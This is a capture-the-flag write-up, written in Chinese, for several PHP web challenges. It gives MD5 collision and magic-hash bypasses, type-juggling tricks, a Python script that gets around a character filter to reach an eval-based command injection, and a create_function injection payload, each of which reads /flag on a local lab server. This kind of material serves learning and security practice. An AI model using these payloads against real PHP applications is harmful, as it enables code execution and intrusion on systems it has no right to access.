Misc

Web

1.RCE但是没有完全RCE

PHP
<?phperror_reporting(0);highlight_file(__FILE__);include "level2.php";if(isset($_GET['md5_1'] ) && isset($_GET['md5_2'])){    if((string)$_GET['md5_1']!==(string)$_GET['md5_2'] && md5($_GET['md5_1'])===md5($_GET['md5_2'])){        if(isset($_POST['md5_3']) && md5($_POST['md5_3'])==$_POST['md5_3']){            echo $level2;        }        else{            echo "2 Failed";        }    }    else{        echo "1 Failed";    }}

第一步md5绕过。。。第一层是撞md5相同值用fastcoll。

第二层是'0e'开头的md5,用给定的字符串。如md5(CbDLytmyGm2xQyaLNhWn)

POST和GET分别对应URL中参数和POST中data。

成功后来到第二层

PHP
<?phphighlight_file(__FILE__);$shell = $_POST['shell'];$cmd = $_GET['cmd'];if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){    die("Hacker!!!!!!!!");}eval($shell($cmd));

匹配了f,l,a,g,通配符,?,可以用多余的参数将限制绕过。

Python
mapp = {    "f": "t",    "l": "r",    "a": "e",    "g": "s",}payload = """echo `cat /flag`;"""cmd = ""for i in payload:    if i in mapp:        cmd += f"$_POST[{mapp[i]}]"    else:        cmd += idatasend = "shell=sprintf"for k in mapp.keys():    datasend += f"&{mapp[k]}={k}"import requests as rurl = "http://localhost:9000/3z_RC3.php"res = r.post(    f"{url}?cmd={cmd}",    headers={"Content-Type": "application/x-www-form-urlencoded"},    data=datasend,)r = __import__("re").search(r"flag{.*}", res.text)print(r.group(0))

2.了解过PHP特性吗

PHP
<?phperror_reporting(0);highlight_file(__FILE__);$num = $_GET['num'];if (preg_match("/[0-9]/", $num)) {    die("no!!");}if (intval($num)) {    echo 1;}if (isset($_POST['ctype']) && isset($_POST['is_num'])) {    $ctype = strrev($_POST['ctype']);    $is_num = strrev($_POST['is_num']);    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {        echo 2;    }}$_114 = $_GET['114'];$_514 = $_POST['514'];if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {    if (!is_numeric($_514) && $_514 > 9999999) {        echo 3;    }}$arr4y = $_POST['arr4y'];if (is_array($arr4y)) {    for ($i = 0; $i < count($arr4y); $i++) {        if ($arr4y[$i] === "NSS") {            die("no!");        }        $arr4y[$i] = intval($arr4y[$i]);    }    if (array_search("NSS", $arr4y) === 0) {        echo 4;    }}

emm特性啥的...我妹学过php啊

搜出来了。。

1.preg_match绕过用数组传入绕过

2.同样的md5绕过..一个是数字一个是字符串is_num=240610708,ctype=QNKCDZO记得要反序一下(x

3.第一个科学计数法,第二个带字母的字符串114=1e9,514=99999999a

4.传入数组,NSS加上空格。

第二问

PHP
<?phperror_reporting(0);highlight_file(__FILE__);$nss = $_POST['nss'];$shell = $_POST['shell'];if(isset($shell)&&isset($nss)){    $nss_shell = create_function($shell,$nss);}

create_function:类似lambda,但是没有调用,大概是这个样子:

PHP
function nss_shell($shell){    $nss}

构造如下payload可以溢出:

shell=(啥都可以)&nss=}cmd;/*

补全之后是这样:

PHP
function nss_shell($shell){}cmd/*}

所以可以运行到cmd中的内容。

构造本题payload

PHP
shell=&nss=}echo `cat /flag`;/*

即可。